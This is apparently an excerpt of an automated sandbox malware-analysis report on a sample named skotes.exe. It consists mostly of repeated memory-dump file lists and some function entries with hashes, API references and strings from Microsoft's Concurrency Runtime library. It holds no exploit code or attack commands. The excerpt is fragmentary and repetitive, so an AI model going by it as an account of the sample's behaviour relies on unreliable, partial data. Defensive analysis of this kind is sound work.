Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 729face1735e7159622416999fae9c9e79876a0775f7457abd631f1d455d5c26
Instruction ID: 9dc8df65fd53bf1ed9441afe345fcedb03ecacc12c93fc4989aac7b6d19d8307
Opcode Fuzzy Hash: 729face1735e7159622416999fae9c9e79876a0775f7457abd631f1d455d5c26
Instruction Fuzzy Hash: 11214C35B04A359BCB14AB64E8D1AFD73A7BFA2334B04011AE5018B3D1CBB8EC41CE84

Function 0062DFE3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

6b, xrefs: 0062E034
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 0062DFE8

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 6b$C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-2013023457
Opcode ID: afa28ea15aae12083d00d974283f746aec6ffee81339ce682220471ca59990d9
Instruction ID: 5a6141ad4dc71ee77c29c8ac65ef69fe965833be182e5f034788d2faae4c1824
Opcode Fuzzy Hash: afa28ea15aae12083d00d974283f746aec6ffee81339ce682220471ca59990d9
Instruction Fuzzy Hash: 1921F531604A296F9B30AE64AC80EAB77AFEF003647104528F92497341EB62EC518E61

Function 0061AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 0061AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0061AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 0061AF4E

Strings

pExecutionResource, xrefs: 0061AF07

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: e2c475daf0af9f4085cc4813fdbb8aee624330328019633b9af9928516efa389
Instruction ID: adf4f6fa44e6bc6924517afee9d4858802c7864d840d3df2ef3de27cb90c8796
Opcode Fuzzy Hash: e2c475daf0af9f4085cc4813fdbb8aee624330328019633b9af9928516efa389
Instruction Fuzzy Hash: BB21D5756812059BCB48EF94C842AEEB7A7BF48300F14412DE505AB382DBB0AE45CB99

Function 00614EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00614F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00614F66

Strings

ppVirtualProcessorRoots, xrefs: 00614F1C
count, xrefs: 00614EBA

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: a7708ac2ebe0370c17b350b4aa5244d346c7f1756fe6d7aabd1c6d9f2013b282
Instruction ID: 25fca382e81d17493f3baa57a996a5b70241ba85e76461e56bd8d1f84a8ea964
Opcode Fuzzy Hash: a7708ac2ebe0370c17b350b4aa5244d346c7f1756fe6d7aabd1c6d9f2013b282
Instruction Fuzzy Hash: 8821BD34600615AFCB08EFA8C891EAE77B6BF48310F04416DE5069B691DF71AA42CB55

Function 0061B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0061BA0E

Strings

RoUninitialize, xrefs: 0061B9C1
RoInitialize, xrefs: 0061B998
combase.dll, xrefs: 0061B983, 0061B988, 0061B99D, 0061B9C8

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: aa44626bab3adc2e5efa3fd1c20760d49fd53d8b9090bc8a1d194ed598e611e3
Instruction ID: f84b6dd3aa7544a955051c4e8cd63e707a938227edeb92efdf31c9ea9e41d81f
Opcode Fuzzy Hash: aa44626bab3adc2e5efa3fd1c20760d49fd53d8b9090bc8a1d194ed598e611e3
Instruction Fuzzy Hash: 5A01F960A913119DEB10B7719C2DBEB39DE9F02745F14382DA840E7281EF75D88146A5

Function 00616E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00616E73

Part of subcall function 00614E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00614E7F
Part of subcall function 00614E6E: List.LIBCMT ref: 00614E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00616E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00616EAA

Strings

eventObject, xrefs: 00616E7D

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
